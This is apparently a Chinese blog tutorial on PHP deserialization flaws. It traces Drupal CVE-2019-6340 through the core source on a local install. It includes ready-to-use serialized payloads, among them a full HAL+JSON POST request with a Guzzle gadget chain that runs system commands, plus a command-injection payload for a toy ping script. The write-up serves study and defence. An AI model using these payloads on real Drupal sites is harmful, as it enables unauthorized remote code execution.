关键词
php 反序列化 cms Drupal CVE-2019-6340 DrupalKernel
简简单单介绍下php的反序列化漏洞
来看一段简单的php反序列化示例
isValid) {
if (filter_var($this->ipAddress, FILTER_VALIDATE_IP))
{
$this->isValid = True;
}
}
$this->ping();
}
public function ping()
{
if ($this->isValid) {
$this->output = shell_exec("ping -c 3 $this->ipAddress");
}
}
}
if (isset($_POST['obj'])) {
$pingTest = unserialize(urldecode($_POST['obj']));
} else {
$pingTest = new pingTest;
}
$pingTest->validate();
echo "
Ping Test
Ping Test
";
?>
这里接收一个名为obj的post 参数,对其进行unserialize,调用反序列化后对象的validate方法,不过之要isValid进行判断是true就可以执行shell_exec函数,并且里面的ipAddress是拼接上去的,我们可以用逻辑符造成任意命令执行。
反序列化的对象我们可以指定,那么对象之中的属性值我们自然也可以指定。注意这里说的是对象的的属性值,是基于类中有的。你若想加一个属性或者重写一个方法那指定不行(温习下php的反序列化)。
正常的用户的请求是这样的
Obj:O:8:"pingTest":1:{s:9:"ipAddress";s:9:"127.0.0.1";}
这里的0表示的对象(传参是对象),后面的8是指类名长度为8,1表示我有一个成员属性 s:9表示字符串有9个长度(ipaddress)
xxx;xxxx 代表一个key:val
攻击payload生成
O:8:"pingTest":2:{s:9:"ipAddress";s:14:"127.0.0.1 | id";s:7:"isValid";b:1;}
如此一来就可以过if条件判断,可以执行命令id了
php是一个弱类型的语言,这里的弱是指什么意思呢!对比下C语言和java语言在声明变量的时候必须指定变量的数据类型,然而在其它一些语言上则根本不用这样做如python PHP,只需有一个变量名就可以存任意数据类型的参数,这点我很不喜欢,太不规范了,我想这也是照成=与==漏洞的原因吧,
回到PHP反序列化,为什么我要说这个机制呢,因为实际中(非ctf)都是对象中存储对象(像上面的$isValid只能存bool类型的值吗 当然不string int 甚至是一个对象它都可以存储),对象又再次存储对象呢。由此可能造成一条反序列化链。
此外还有属于PHP反序列化的魔术方法,这也很好理解。要在对对象建立后优先执行一些代码如初始化之类的,执行方法前去执行一些代码,对象用完后执行一些代码如销毁。这就是一个切面编程的思想(哈哈哈不知道它们谁先出现,也许程序员心有灵犀)。其中魔术方法会根据对象里的属性值去执行某种逻辑,或是判断或是调用。这里如果没有严格过滤,就有可能照成一条倒是命令执行利用链。
版本影响Drupal 8.5.x before 8.5.11 and Drupal 8.6.x before 8.6.10 V contain certain field types that do not properly sanitize data from non-form sources, which can lead to arbitrary PHP code execution in some cases.
https://www.drupal.org/sa-core-2019-003https://www.drupal.org/sa-core-2019-003
根据漏洞影响版本,我们下载8.6.9
https://www.drupal.org/project/drupal/releases/8.6.9https://www.drupal.org/project/drupal/releases/8.6.9
安装cms
安装完成后,打开主页面
来到扩展 将web services 的所有扩展打开
payload 测试
POST /drupal-8.6.9/node/?_format=hal_json HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2866.71 Safari/537.36
Connection: close
Content-Length: 642
Content-Type: application/hal+json
Accept-Encoding: gzip
{
"link": [
{
"value": "link",
"options": "O:24:\"GuzzleHttp\\Psr7\\FnStream\":2:{s:33:\"\u0000GuzzleHttp\\Psr7\\FnStream\u0000methods\";a:1:{s:5:\"close\";a:2:{i:0;O:23:\"GuzzleHttp\\HandlerStack\":3:{s:32:\"\u0000GuzzleHttp\\HandlerStack\u0000handler\";s:6:\"whoami\";s:30:\"\u0000GuzzleHttp\\HandlerStack\u0000stack\";a:1:{i:0;a:1:{i:0;s:6:\"system\";}}s:31:\"\u0000GuzzleHttp\\HandlerStack\u0000cached\";b:0;}i:1;s:7:\"resolve\";}}s:9:\"_fn_close\";a:2:{i:0;r:4;i:1;s:7:\"resolve\";}}"
}
],
"_links": {
"type": {
"href":"http://127.0.0.1/drupal-8.6.9/rest/type/shortcut/default"
}
}
}
注意了options的内容为php序列化的内容,所以s:6:"whoami";s表示string参数类型,6表是长度为6,whoami就是我们执行的命令了,改成其他的命令记得把长度写发生响应的改变。
结果显示whoami已经执行,权限是system的权限,这也是windows搭建web的弊端了!
打开index.php
handle($request);
// 处理请求并获取响应对象。
//调用了 Drupal 内核对象的 handle() 方法,用于处理当前请求并生成一个响应对象。这个过程包括路由匹配、控制器调用、模板渲染等操作,具体实现方式可以参考 Drupal 的路由和控制器系统。
$response->send();
// 将响应内容发送给客户端。
$kernel->terminate($request, $response);
// 结束请求处理过程,清理资源。
打上断点 进入$response = $kernel->handle($request);
public function handle(Request $request, $type = self::MASTER_REQUEST, $catch = TRUE) {
// Ensure sane PHP environment variables.
static::bootEnvironment();//调用 bootEnvironment() 方法来确保 PHP 环境变量的正确性。
try {
$this->initializeSettings($request);//尝试初始化设置(initializeSettings)。
// Redirect the user to the installation script if Drupal has not been
// installed yet (i.e., if no $databases array has been defined in the
// settings.php file) and we are not already installing.
if (!Database::getConnectionInfo() && !drupal_installation_attempted() && PHP_SAPI !== 'cli') {
$response = new RedirectResponse($request->getBasePath() . '/core/install.php', 302, ['Cache-Control' => 'no-cache']);
}//如果数据库连接信息不存在且没有进行 Drupal 安装尝试,并且不是在命令行环境下运行,则重定向用户到安装脚本(install.php)
else {//否则,调用 boot() 方法进行启动,并调用 $this->getHttpKernel()->handle($request, $type, $catch) 处理请求
$this->boot();
$response = $this->getHttpKernel()->handle($request, $type, $catch);//断点进入
}
}
catch (\Exception $e) {
if ($catch === FALSE) {
throw $e;
}
$response = $this->handleException($e, $request, $type);
}
// Adapt response headers to the current request.
$response->prepare($request);
return $response;
}
中间省略......... 咱们直接来到
REST API request.部分
/**
* Handles a REST API request.
*
* @param \Drupal\Core\Routing\RouteMatchInterface $route_match
* The route match.
* @param \Symfony\Component\HttpFoundation\Request $request
* The HTTP request object.
* @param \Drupal\rest\RestResourceConfigInterface $_rest_resource_config
* The REST resource config entity.
*
* @return \Drupal\rest\ResourceResponseInterface|\Symfony\Component\HttpFoundation\Response
* The REST resource response.
*/
public function handle(RouteMatchInterface $route_match, Request $request, RestResourceConfigInterface $_rest_resource_config) {
$resource = $_rest_resource_config->getResourcePlugin();
$unserialized = $this->deserialize($route_match, $request, $resource);//开始反序列化了打上断点进入调试
$response = $this->delegateToRestResourcePlugin($route_match, $request, $unserialized, $resource);
return $this->prepareResponse($response, $_rest_resource_config);
}
该方法是 Drupal REST API 模块的请求处理程序。它接收三个参数:RouteMatchInterface $route_match
表示当前路由匹配的对象,Request $request
表示当前 HTTP 请求对象,RestResourceConfigInterface $_rest_resource_config
表示当前的 REST 资源配置实体。
具体逻辑如下:
首先,从 $rest_resource_config
中获取相应的资源插件(resource plugin)。
然后,使用 $this->deserialize()
方法对请求中的数据进行反序列化,并将结果保存在 $unserialized
变量中。
接下来,调用 $this->delegateToRestResourcePlugin()
方法委托给资源插件进行进一步的处理,并将结果保存在 $response
变量中。
最后,使用 $this->prepareResponse()
方法对响应进行处理和准备,并将其返回。
需要注意的是,该方法中的 $this->deserialize()
、$this->delegateToRestResourcePlugin()
和 $this->prepareResponse()
方法并未在该代码片段中定义,它们可能是该类的其他成员方法或从其他地方引入的依赖项。
总体上,该方法的作用是将 HTTP 请求委托给指定的 REST 资源插件进行处理,并返回处理后的响应。
进入deserialize函数
protected function deserialize(RouteMatchInterface $route_match, Request $request, ResourceInterface $resource) {
// Deserialize incoming data if available.
$received = $request->getContent();
//首先,从请求对象中获取请求的内容,并将其保存在 $received 变量中,这个变量可控
$unserialized = NULL;
if (!empty($received)) {
//获取规范化的请求方法和请求内容类型。
$method = static::getNormalizedRequestMethod($route_match);
$format = $request->getContentType();//得到参数的方法 重点分析一下
//从资源插件定义中获取相关信息。
$definition = $resource->getPluginDefinition();
// First decode the request data. We can then determine if the
// serialized data was malformed.
try {
$unserialized = $this->serializer->decode($received, $format, ['request_method' => $method]);//断点进入
}
catch (UnexpectedValueException $e) {
// If an exception was thrown at this stage, there was a problem
// decoding the data. Throw a 400 http exception.
throw new BadRequestHttpException($e->getMessage());
}
// Then attempt to denormalize if there is a serialization class.
if (!empty($definition['serialization_class'])) {
try {
$unserialized = $this->serializer->denormalize($unserialized, $definition['serialization_class'], $format, ['request_method' => $method]);//断点分析
}
// These two serialization exception types mean there was a problem
// with the structure of the decoded data and it's not valid.
catch (UnexpectedValueException $e) {
throw new UnprocessableEntityHttpException($e->getMessage());
}
catch (InvalidArgumentException $e) {
throw new UnprocessableEntityHttpException($e->getMessage());
}
}
}
return $unserialized;
}
......
进入decodingImpl的decode方法
public function decode($data, $format, array $context = array())
{
// 解析上下文参数
$context = $this->resolveContext($context);
// 从上下文中获取 JSON 解码时的相关参数
$associative = $context['json_decode_associative'];
$recursionDepth = $context['json_decode_recursion_depth'];
$options = $context['json_decode_options'];
// 使用 json_decode 函数对数据进行解码
$decodedData = json_decode($data, $associative, $recursionDepth, $options);
/*将 $associative 参数设置为 true。这意味着解码结果将被转换为关联数组而不是对象
限制递归深度512
$options 参数来设置 JSON 解码选项
*/
// 检查解码过程中是否出现错误
if (JSON_ERROR_NONE !== json_last_error()) {
throw new NotEncodableValueException(json_last_error_msg());
}
// 返回解码后的数据
return $decodedData;
}
.....
denormalize方法调入
//这段代码是Symfony框架的DenormalizerInterface接口方法denormalize()的实现。
public function denormalize($data, $type, $format = null, array $context = array())
{
// 检查是否已注册至少一个normalizer
if (!$this->normalizers) {
throw new LogicException('You must register at least one normalizer to be able to denormalize objects.');
}
if ($normalizer = $this->getDenormalizer($data, $type, $format, $context)) {
// 调用normalizer的denormalize方法进行反序列化操作
return $normalizer->denormalize($data, $type, $format, $context);//断点调试
}
throw new NotNormalizableValueException(sprintf('Could not denormalize object of type %s, no supporting normalizer found.', $type));
}
进入
public function denormalize($data, $class, $format = NULL, array $context = []) {
// Get type, necessary for determining which bundle to create.
if (!isset($data['_links']['type'])) {
throw new UnexpectedValueException('The type link relation must be specified.');
}
// Create the entity.
$typed_data_ids = $this->getTypedDataIds($data['_links']['type'], $context);//断点分析 需要重点关注一下
$entity_type = $this->getEntityTypeDefinition($typed_data_ids['entity_type']);
$default_langcode_key = $entity_type->getKey('default_langcode');
$langcode_key = $entity_type->getKey('langcode');
$values = [];
// Figure out the language to use.
if (isset($data[$default_langcode_key])) {
// Find the field item for which the default_langcode value is set to 1 and
// set the langcode the right default language.
foreach ($data[$default_langcode_key] as $item) {
if (!empty($item['value']) && isset($item['lang'])) {
$values[$langcode_key] = $item['lang'];
break;
}
}
// Remove the default langcode so it does not get iterated over below.
unset($data[$default_langcode_key]);
}
if ($entity_type->hasKey('bundle')) {
$bundle_key = $entity_type->getKey('bundle');
$values[$bundle_key] = $typed_data_ids['bundle'];
// Unset the bundle key from data, if it's there.
unset($data[$bundle_key]);
}
$entity = $this->entityManager->getStorage($typed_data_ids['entity_type'])->create($values);
// Remove links from data array.
unset($data['_links']);
// Get embedded resources and remove from data array.
$embedded = [];
if (isset($data['_embedded'])) {
$embedded = $data['_embedded'];
unset($data['_embedded']);
}
// Flatten the embedded values.
foreach ($embedded as $relation => $field) {
$field_ids = $this->linkManager->getRelationInternalIds($relation);
if (!empty($field_ids)) {
$field_name = $field_ids['field_name'];
$data[$field_name] = $field;
}
}
$this->denormalizeFieldData($data, $entity, $format, $context);//断点进入
// Pass the names of the fields whose values can be merged.
// @todo https://www.drupal.org/node/2456257 remove this.
$entity->_restSubmittedFields = array_keys($data);
return $entity;
}
.......
public function denormalize($data, $class, $format = NULL, array $context = []) {
if (!isset($context['target_instance'])) {
throw new InvalidArgumentException('$context[\'target_instance\'] must be set to denormalize with the FieldItemNormalizer');
}
if ($context['target_instance']->getParent() == NULL) {
throw new InvalidArgumentException('The field item passed in via $context[\'target_instance\'] must have a parent set.');
}
$field_item = $context['target_instance'];
// If this field is translatable, we need to create a translated instance.
if (isset($data['lang'])) {
$langcode = $data['lang'];
unset($data['lang']);
$field_definition = $field_item->getFieldDefinition();
if ($field_definition->isTranslatable()) {
$field_item = $this->createTranslatedInstance($field_item, $langcode);
}
}
$field_item->setValue($this->constructValue($data, $context));
return $field_item;
}
到setValue
public function setValue($values, $notify = TRUE) {
// Treat the values as property value of the main property, if no array is
// given.
if (isset($values) && !is_array($values)) {
$values = [static::mainPropertyName() => $values];
}
if (isset($values)) {
$values += [
'options' => [],
];
}
// Unserialize the values.
// @todo The storage controller should take care of this, see
// SqlContentEntityStorage::loadFieldItems, see
// https://www.drupal.org/node/2414835
if (is_string($values['options'])) {
$values['options'] = unserialize($values['options']);//漏洞触发点
}
parent::setValue($values, $notify);
}
至此终于找到漏洞促发点了 !options为可控变量,对其进行unserialize 已经是反序列化漏洞形成的前提了,现在我们只需找出这在个cms库中存在的一条反序列化漏洞链就可以rce了
利用Drupal自带的Guzzle库
分析FnStream 类 与 HandlerStack类
class FnStream implements StreamInterface
{
/** @var array */
private $methods;
/** @var array Methods that must be implemented in the given array */
private static $slots = ['__toString', 'close', 'detach', 'rewind',
'getSize', 'tell', 'eof', 'isSeekable', 'seek', 'isWritable', 'write',
'isReadable', 'read', 'getContents', 'getMetadata'];
/**
* @param array $methods Hash of method name to a callable.
*/
public function __construct(array $methods)
{
$this->methods = $methods;
// Create the functions on the class
foreach ($methods as $name => $fn) {
$this->{'_fn_' . $name} = $fn;
}
}
/**
* Lazily determine which methods are not implemented.
* @throws \BadMethodCallException
*/
public function __get($name)
{
throw new \BadMethodCallException(str_replace('_fn_', '', $name)
. '() is not implemented in the FnStream');
}
/**
* The close method is called on the underlying stream only if possible.
*/
public function __destruct()
{
if (isset($this->_fn_close)) {
call_user_func($this->_fn_close);//反序列化可触发这个类
}//call_user_func("resolve") 调用function
}
/**
* Adds custom functionality to an underlying stream by intercepting
* specific method calls.
*
* @param StreamInterface $stream Stream to decorate
* @param array $methods Hash of method name to a closure
*
* @return FnStream
*/
public static function decorate(StreamInterface $stream, array $methods)
{
// If any of the required methods were not provided, then simply
// proxy to the decorated stream.
foreach (array_diff(self::$slots, array_keys($methods)) as $diff) {
$methods[$diff] = [$stream, $diff];
}
return new self($methods);
}
public function __toString()
{
return call_user_func($this->_fn___toString);
}
public function close()
{
return call_user_func($this->_fn_close);
}
public function detach()
{
return call_user_func($this->_fn_detach);
}
public function getSize()
{
return call_user_func($this->_fn_getSize);
}
public function tell()
{
return call_user_func($this->_fn_tell);
}
public function eof()
{
return call_user_func($this->_fn_eof);
}
public function isSeekable()
{
return call_user_func($this->_fn_isSeekable);
}
public function rewind()
{
call_user_func($this->_fn_rewind);
}
public function seek($offset, $whence = SEEK_SET)
{
call_user_func($this->_fn_seek, $offset, $whence);
}
public function isWritable()
{
return call_user_func($this->_fn_isWritable);
}
public function write($string)
{
return call_user_func($this->_fn_write, $string);
}
public function isReadable()
{
return call_user_func($this->_fn_isReadable);
}
public function read($length)
{
return call_user_func($this->_fn_read, $length);
}
public function getContents()
{
return call_user_func($this->_fn_getContents);
}
public function getMetadata($key = null)
{
return call_user_func($this->_fn_getMetadata, $key);
}
}
class HandlerStack
{
/** @var callable */
private $handler;
/** @var array */
private $stack = [];
/** @var callable|null */
private $cached;
....
/**
* @param callable $handler Underlying HTTP handler.
*/
public function __construct(callable $handler = null)
{
$this->handler = $handler;
}
/**
* Invokes the handler stack as a composed handler
*
* @param RequestInterface $request
* @param array $options
*/
public function __invoke(RequestInterface $request, array $options)
{
$handler = $this->resolve();
return $handler($request, $options);
}
.........
/**
* Compose the middleware and handler into a single callable function.
*
* @return callable
*/
public function resolve()
{
if (!$this->cached) {
if (!($prev = $this->handler)) {
throw new \LogicException('No handler has been specified');
}
foreach (array_reverse($this->stack) as $fn) {
$prev = $fn[0]($prev);
}
$this->cached = $prev;
}
return $this->cached;
}
......
若$fn[0]为system $prev 也可控则攻击链成立
"O:24:"GuzzleHttp\Psr7\FnStream":2:{s:33:"\u0000GuzzleHttp\Psr7\FnStream\u0000methods";a:1:{s:5:"close";a:2:{i:0;O:23:"GuzzleHttp\HandlerStack":3:{s:32:"\u0000GuzzleHttp\HandlerStack\u0000handler";s:70:"cmd.exe /c set /a 2089950217 - 1907099809&expr 2089950217 - 1907099809";s:30:"\u0000GuzzleHttp\HandlerStack\u0000stack";a:1:{i:0;a:1:{i:0;s:6:"system";}}s:31:"\u0000GuzzleHttp\HandlerStack\u0000cached";b:0;}i:1;s:7:"resolve";}}s:9:"_fn_close";a:2:{i:0;r:4;i:1;s:7:"resolve";}}"
"O:24:"GuzzleHttp\Psr7\FnStream"(类名24个长度):2(2个属性):{s:33:"\u0000GuzzleHttp\Psr7\FnStream\u0000methods"(第一个属性为FnStream类下的methods赋值为数组);a:1(数组一个):{s:5:"close"(key为close);a:2(value为数组属性有两个):{i:0(第一个为对象);O:23:"GuzzleHttp\HandlerStack":3(有三个属性成员):{s:32:"\u0000GuzzleHttp\HandlerStack\u0000handler(第一个为handler)";s:70:"cmd.exe /c set /a 2089950217 - 1907099809&expr 2089950217 - 1907099809";s:30:"\u0000GuzzleHttp\HandlerStack\u0000stack(第二个为stack是数组)";a:1:{i:0;a:1:{i:0;s:6:"system";}}s:31:"\u0000GuzzleHttp\HandlerStack\u0000cached";b:0;}i:1;s:7(第二个为字符串):"resolve";}}(结束)s:9:"fn_close"(第二个属性为fn_close);a:2:{i:0;r:4(引用类型);i:1;s:7:"resolve";}}(fn_close=resolve 调用resolve方法)"
大致长成这个样子
如此一来在call_user_func($this->_fn_close);的时候
就会调用resolve函数 按照机制优先从本类的funtion去寻找,没有找到会从引用的对象中找,这就找到了methods存储的对象中的方法,(PHP语言为弱类型一个变量名可存任意类型的数据)。于是乎来到了GuzzleHttp\HandlerStack对象下的resolve方法,当然这个对象的属性也是可控的,$stack为数组内有system字符串之后遍历到$fn,拼接($prev) $prev有本对象的$handler赋值,如此一来参数可控,php反序列化恶意链成立造成命令执行。